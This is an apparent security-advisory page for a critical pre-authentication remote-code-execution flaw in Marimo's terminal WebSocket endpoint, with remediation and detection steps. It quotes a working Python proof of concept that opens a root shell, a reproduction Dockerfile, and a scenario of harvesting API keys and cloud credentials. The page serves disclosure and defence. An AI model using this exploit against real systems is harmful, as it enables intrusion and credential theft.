GHSA-2679-6mx9-h9xc: Marimo: pre-auth RCE via terminal WebSocket

GHSA-2679-6mx9-h9xc CRITICAL
Published April 8, 2026
CISO Take

Marimo, a Python reactive notebook with 19.6k GitHub stars, has a critical pre-authentication RCE: the `/terminal/ws` WebSocket endpoint completely skips auth validation and forks a PTY shell to any unauthenticated caller — bypassing even explicitly configured access tokens. A CISO should care because exploitation requires a single WebSocket connection with no credentials, the public advisory includes a working proof-of-concept, default Docker deployments run as root giving full host access, and 2,884 downstream dependents means this tool is embedded across AI/ML development toolchains. Upgrade immediately to marimo >= 0.23.0; if patching is blocked, firewall port 2718 to trusted IPs only and never expose Marimo directly to the internet.

Sources: GitHub Advisory ATLAS OpenSSF

Risk Assessment

Critical. The attack requires zero authentication, zero AI/ML knowledge, and the PoC is publicly available in the advisory itself — this is script-kiddie territory. The auth middleware uses Starlette's passive UnauthenticatedUser pattern, meaning auth is architecturally enforced at the endpoint level; the terminal endpoint simply has no such enforcement. In shared AI development environments (JupyterHub-style, cloud notebooks, internal MLOps platforms), a single exposed port is full compromise. Default root execution in Docker amplifies blast radius to container escape pre-conditions. OpenSSF Scorecard of 4.8/10 and 2 prior CVEs in the same package suggest a pattern of security debt.

Affected Systems

Package Ecosystem Vulnerable Range Patched
marimo pip < 0.23.0 0.23.0
13.1K OpenSSF 4.8 2.9K dependents Pushed 8d ago 100% patched ~1355d to patch Full package profile →

Do you use marimo? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Recommended Action

  1. PATCH: Upgrade to marimo >= 0.23.0 immediately — this release adds `validate_auth()` to the `/terminal/ws` endpoint.
  2. NETWORK: If patching is blocked, firewall port 2718 (default) to trusted IPs only at the host or network level. Never expose Marimo to the public internet.
  3. RUNTIME: Run Marimo containers as a non-root user (`--user 1000:1000` in Docker); this limits post-exploitation impact.
  4. DETECT: Audit process trees on Marimo hosts for unexpected child processes forked by the marimo server (unusual shells, curl/wget, nc). Check for unexpected outbound connections from the Marimo container.
  5. ROTATE: If hosts were exposed, assume environment variables and mounted secrets are compromised — rotate all API keys, database passwords, and cloud credentials accessible from those hosts.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - Information security in AI system lifecycle
NIST AI RMF
GOVERN 1.7 - Processes for identifying and mitigating AI risks MANAGE 2.2 - Mechanisms to address AI system risks
OWASP LLM Top 10
LLM03 - Supply Chain

Technical Details

NVD Description

## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 (current latest) ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Exploitation Scenario

An adversary scans for port 2718 (Marimo default) across cloud environments or internal AI development networks. They connect to `ws://TARGET:2718/terminal/ws` with a standard WebSocket client — no auth header, no token, no prior session. The server accepts the connection and forks a PTY process. The attacker now has an interactive root shell inside the Marimo container. They enumerate environment variables to harvest LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY), database connection strings, and cloud credentials. In a typical AI development setup, they pivot to the connected PostgreSQL database containing training data, exfiltrate model weights from mounted volumes, or use the harvested cloud credentials to access S3 buckets or GCS with datasets. If the container runs with privileged mode or mounted Docker socket (common in MLOps setups), full host compromise follows.

Timeline

Published
April 8, 2026
Last Modified
April 8, 2026
First Seen
April 9, 2026

Related Vulnerabilities